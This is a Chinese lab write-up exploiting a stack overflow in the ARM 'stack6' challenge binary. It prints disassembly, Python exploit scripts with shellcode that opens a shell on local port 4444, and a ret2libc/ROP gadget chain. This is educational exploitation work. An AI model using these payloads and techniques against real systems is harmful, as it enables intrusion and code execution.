内容简介:这是最后一个实例stack6的分析实战过程,中间跳过了两个例子,他们的解决思路在前面每个例子的尾部EXP的构造、实现中已经得到了体现,就不再写一些重复的内容,今天主要带来的是几个新技巧:1.
引言
这是最后一个实例stack6的分析实战过程,中间跳过了两个例子,他们的解决思路在前面每个例子的尾部EXP的构造、实现中已经得到了体现,就不再写一些重复的内容,今天主要带来的是几个新技巧: ret2zp(ret2libc+ROP) ,通过这两中技术来绕过栈保护机制
文件预分析
1. file stack6 ,恩,二进制可执行文件,ARM架构,符号表未移除
stack6: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 2.6.32, BuildID[sha1]=272f2356191b2176339c44f8376ec3407280a879, not stripped
2. objdump -d ./stack6 ,下面是反汇编结果。这里main函数主要只有一个调用getpath函数的操作。下面主要介绍getpath函数的代码逻辑。
1)在 104e4: e1a0400e mov r4, lr 地址的地方将当前这个getpath栈帧的返回地址给了r4。然后 1050c: e1a03004 mov r3, r4 又把返回地址赋值给了r3
2)分析下面的片段代码可以知道, and r3, r3, #-1090519040 将所有0xbf开头的地址都修改成了0xbf000000,然后跟0xbf000000对比,如果相等就分支跳转到地址为0x10538地方继续执行,否则就退出。
3)栈地址的开头都是 0xbf ,可以使用命令 info proc map 查看当前运行进程的内存映射
10518: e20334bf and r3, r3, #-1090519040 ; 0xbf000000 1051c: e35304bf cmp r3, #-1090519040 ; 0xbf000000 10520: 1a000004 bne 10538 <getpath+0x60>
info proc map 查看结果,内存映射可读属性,顺便可以查看地址
gef> i proc map
process 3303
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x10000 0x11000 0x1000 0x0 /home/pi/Desktop/ARM-challenges/stack6
0x20000 0x21000 0x1000 0x0 /home/pi/Desktop/ARM-challenges/stack6
0xb6e74000 0xb6f9f000 0x12b000 0x0 /lib/arm-linux-gnueabihf/libc-2.19.so
0xb6f9f000 0xb6faf000 0x10000 0x12b000 /lib/arm-linux-gnueabihf/libc-2.19.so
0xb6faf000 0xb6fb1000 0x2000 0x12b000 /lib/arm-linux-gnueabihf/libc-2.19.so
0xb6fb1000 0xb6fb2000 0x1000 0x12d000 /lib/arm-linux-gnueabihf/libc-2.19.so
0xb6fb2000 0xb6fb5000 0x3000 0x0
0xb6fcc000 0xb6fec000 0x20000 0x0 /lib/arm-linux-gnueabihf/ld-2.19.so
0xb6ff8000 0xb6ffb000 0x3000 0x0
0xb6ffb000 0xb6ffc000 0x1000 0x1f000 /lib/arm-linux-gnueabihf/ld-2.19.so
0xb6ffc000 0xb6ffd000 0x1000 0x20000 /lib/arm-linux-gnueabihf/ld-2.19.so
0xb6ffd000 0xb6fff000 0x2000 0x0
0xb6fff000 0xb7000000 0x1000 0x0 [sigpage]
0xbefdf000 0xbf000000 0x21000 0x0 [stack]
0xffff0000 0xffff1000 0x1000 0x0 [vectors]
4)根据上面的三个点我们可以知道,它对栈地址进行一定的保护机制,让gets不能直接执行将栈地址溢出覆盖到返回地址,所以引出了几种解决技术:第一个就是它只是限制 bf 开头的栈地址,我们不跳到这个地址就行了,我们尝试再次执行一次 1054c: e8bd8810 pop {r4, fp, pc} ,将我们shellcode的首地址让pc成功接收就行
000104d8 <getpath>:
104d8: e92d4810 push {r4, fp, lr}
104dc: e28db008 add fp, sp, #8
104e0: e24dd04c sub sp, sp, #76 ; 0x4c
104e4: e1a0400e mov r4, lr
104e8: e59f0060 ldr r0, [pc, #96] ; 10550 <getpath+0x78>
104ec: ebffff9a bl 1035c <printf@plt>
104f0: e59f305c ldr r3, [pc, #92] ; 10554 <getpath+0x7c>
104f4: e5933000 ldr r3, [r3]
104f8: e1a00003 mov r0, r3
104fc: ebffff9c bl 10374 <fflush@plt>
10500: e24b3050 sub r3, fp, #80 ; 0x50
10504: e1a00003 mov r0, r3
10508: ebffff96 bl 10368 <gets@plt>
1050c: e1a03004 mov r3, r4
10510: e50b3010 str r3, [fp, #-16]
10514: e51b3010 ldr r3, [fp, #-16]
10518: e20334bf and r3, r3, #-1090519040 ; 0xbf000000
1051c: e35304bf cmp r3, #-1090519040 ; 0xbf000000
10520: 1a000004 bne 10538 <getpath+0x60>
10524: e59f002c ldr r0, [pc, #44] ; 10558 <getpath+0x80>
10528: e51b1010 ldr r1, [fp, #-16]
1052c: ebffff8a bl 1035c <printf@plt>
10530: e3a00001 mov r0, #1
10534: ebffff91 bl 10380 <_exit@plt>
10538: e24b3050 sub r3, fp, #80 ; 0x50
1053c: e59f0018 ldr r0, [pc, #24] ; 1055c <getpath+0x84>
10540: e1a01003 mov r1, r3
10544: ebffff84 bl 1035c <printf@plt>
10548: e24bd008 sub sp, fp, #8
1054c: e8bd8810 pop {r4, fp, pc}
10550: 000105f8 .word 0x000105f8
10554: 0002075c .word 0x0002075c
10558: 0001060c .word 0x0001060c
1055c: 00010618 .word 0x00010618
00010560 <main>:
10560: e92d4800 push {fp, lr}
10564: e28db004 add fp, sp, #4
10568: e24dd008 sub sp, sp, #8
1056c: e50b0008 str r0, [fp, #-8]
10570: e50b100c str r1, [fp, #-12]
10574: ebffffd7 bl 104d8 <getpath>
10578: e1a00003 mov r0, r3
1057c: e24bd004 sub sp, fp, #4
10580: e8bd8800 pop {fp, pc}
利用一个exp,功能是:先填充到返回地址前,再利用返回地址后的任意一个栈地址(nop指令区间就行),将返回地址覆盖,在用点nop来防止环境变量的改变影响栈偏移,最后加上shellcode。
import struct
padding = "11111111111111111111111111111111111111111111111111111111111111111111111111111111"
return_addr = struct.pack("I", 0xbefff0d0)
payload1 = "x01x30x8fxe2x13xffx2fxe1x01x21x48x1cx92x1axc8x27x51x37x01xdfx04x1cx14xa1x4ax70x8ax80xc0x46x8ax71xcax71x10x22x01x37x01xdfx60x1cx01x38x02x21x02x37x01xdfx60x1cx01x38x49x40x52x40x01x37x01xdfx04x1cx60x1cx01x38x49x1ax3fx27x01xdfxc0x46x60x1cx01x38x01x21x01xdfx60x1cx01x38x02x21x01xdfx04xa0x49x40x52x40xc2x71x0bx27x01xdfx02xffx11x5cx01x01x01x01x2fx62x69x6ex2fx73x68x58"
print padding + return_addr + "x90"*100 + payload1
执行结果
受控端
pi@raspberrypi:~/Desktop/ARM-challenges $ ./stack6 <exp input path please: got path 1111111111111111111111111111111111111111111111111111111111111111x
控制端
pi@raspberrypi:~/Desktop/ARM-challenges $ nc -vv 127.0.0.1 4444 Connection to 127.0.0.1 4444 port [tcp/*] succeeded! ls README.md ROPgadget core e4 exp poc.py stack0 stack1 stack2 stack3 stack4 stack5 stack6 exit
ret2zp(return to Zero Prevention)
我们尝试使用:/bin/sh,需要用到system函数 (并不一定可以实现,因为我们需要得到system @plt 的地址)
当我使用想使用ret2libc的时候发现,它不是使用栈空间来传递参数的,而是使用寄存器来传递参数的,也就是x86架构的ret2libc不适用arm架构,怎么办呢?我在 exploitation-on-arm 这里找到了答案,在 另外一片文章 找到一些实例。下面我们用到了一个 工具 帮助我们快速查找特定指令
ROPgadgets工具安装过程(如果执行中出错,按照github上给的方法,注释特定出错的地方)
sudo apt-get install python-capstone git clone https://github.com/JonathanSalwan/ROPgadget.git sudo python setup.py install
安装完成后,我们就来查看stack6程序内部是否有可以利用的代码片段,可以看到如果要用到下面的语句片段我们必须还有一个语句将r0赋值给r3或r4,因为要r0才是我们要存储参数的地方。这里根据 ret2ZP技术的一些实际的例子 里的指出的一个函数 seed48 可以间接的实现参数传递,下面介绍具体步骤:
pi@raspberrypi:~/Desktop/ARM-challenges $ ROPgadget --binary ./stack6 --only "pop"
Gadgets information
============================================================
0x00010344 : pop {r3, pc}
0x00010498 : pop {r4, pc}
Unique gadgets found: 2
seed48片段
0xb6ea5df8 <+20>: add r0, r4, #6
0xb6ea5dfc <+24>: pop {r4, pc}
在getpath函数的pop处,我们将seed48函数内的 0xb6ea5dfc 覆盖到返回地址处,他会执行到 pop {r4, pc} ,然后我们 /bin/sh 地址减6的值放在下一个栈地址,准备pop到r4内,然后再将 0xb6ea5df8 放入压入栈中pop进pc来实现r0的赋值
第一步:覆盖返回地址(python脚本)
import struct
padding = "11111111111111111111111111111111111111111111111111111111111111111111111111111111"
return_addr = struct.pack("I", 0xb6ea5dfc)
print padding + return_addr
第二步:找到/bin/sh的地址
gef> find 0xb6e74000,+9999999,"/bin/sh"
0xb6f91b20
第三步:0xb6f91b20-6=0xb6f91b1a放入栈中准备赋值给r4,再把0xb6ea5df8 赋给pc,进行r0的赋值
import struct
padding = "11111111111111111111111111111111111111111111111111111111111111111111111111111111"
return_addr = struct.pack("I", 0xb6ea5dfc)
print padding + return_addr + "x1ax1bxf9xb6" + "xf8x5dxeaxb6"
第四步:寻找system地址
使用命令objdump -d stack6查看是否存在system@plt,发现本程序并没有system函数的入口点
根据上面的流程,一切都准备好了,结果没有找到system函数入口,所以RET2ZP(ROP+RET2LIBC)使用失败,主要熟悉了这种技术的使用流程,退而求其次我们使用可执行文件内有的函数exit,来直接退出。
objdump -d stack6 找到plt表内的地址,然后直接覆盖到准备pop到pc寄存器的栈地址
00010380 <_exit@plt>: 10380: e28fc600 add ip, pc, #0, 12 10384: e28cca10 add ip, ip, #16, 20 ; 0x10000 10388: e5bcf3b8 ldr pc, [ip, #952]! ; 0x3b8
poc.py
import struct padding = "11111111111111111111111111111111111111111111111111111111111111111111111111111111" print padding + "x80x03x01x00"
执行结果,直接退出:
pi@raspberrypi:~/Desktop/ARM-challenges $ ./stack6 <exp input path please: got path 1111111111111111111111111111111111111111111111111111111111111111x♣ pi@raspberrypi:~/Desktop/ARM-challenges $
小结
当我分析到绕过bf开头的堆栈检测这个保护机制的时候,我在一个程序的执行流程这个花了些时间,得到一个小点: 程序向下执行都是依靠PC寄存器,即使返回到上一个栈帧也是将返回地址赋值给PC寄存器 , 掌控PC你就掌控了一切
使用ret2libc+ROP技术的时候,我们需要找到的是plt表内存在的函数入口地址,才继续接下来的执行
参考
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- ARM汇编之堆栈溢出实战分析(GDB)
- ARM汇编之堆栈溢出实战分析二(GDB)
- ARM汇编之堆栈溢出实战分析三(GDB)
- SpringBoot实战分析-MongoDB操作
- SpringBoot实战分析-Tomcat方式部署
- 二进制各种漏洞原理实战分析总结
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Practical Algorithms for Programmers
Andrew Binstock、John Rex / Addison-Wesley Professional / 1995-06-29 / USD 39.99
Most algorithm books today are either academic textbooks or rehashes of the same tired set of algorithms. Practical Algorithms for Programmers is the first book to give complete code implementations o......一起来看看 《Practical Algorithms for Programmers》 这本书的介绍吧!